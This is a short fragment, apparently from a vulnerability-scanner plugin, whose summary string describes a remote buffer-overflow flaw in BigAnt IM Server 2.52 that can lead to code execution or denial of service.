tag_summary = "BigAnt IM Server is prone to a remote buffer-overflow vulnerability
because it fails to perform adequate boundary checks on user-
supplied input.

An attacker can exploit this issue to execute arbitrary code with the
privileges of the user running the server. Failed exploit attempts
will result in a denial-of-service condition.

BigAnt IM Server 2.52 is vulnerable; other versions may also be
affected.";
